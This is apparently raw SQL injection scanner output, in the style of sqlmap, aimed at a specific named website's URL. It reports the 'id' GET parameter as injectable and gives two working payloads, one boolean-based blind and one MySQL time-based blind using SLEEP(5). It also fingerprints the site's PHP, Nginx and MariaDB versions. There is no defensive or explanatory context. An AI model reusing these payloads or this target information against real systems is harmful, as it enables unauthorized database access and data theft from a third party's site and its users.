https://www.fantasycruncher.com/cheatsheet.php?id=783b2c1a48b5b3e0

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=783b2c1a48b5b3e0' AND 1291=1291 AND 'YNvr'='YNvr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=783b2c1a48b5b3e0' AND SLEEP(5) AND 'KAys'='KAys
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web application technology: PHP 5.6.29, Nginx 1.10.1
back-end DBMS: MySQL 5 (MariaDB fork)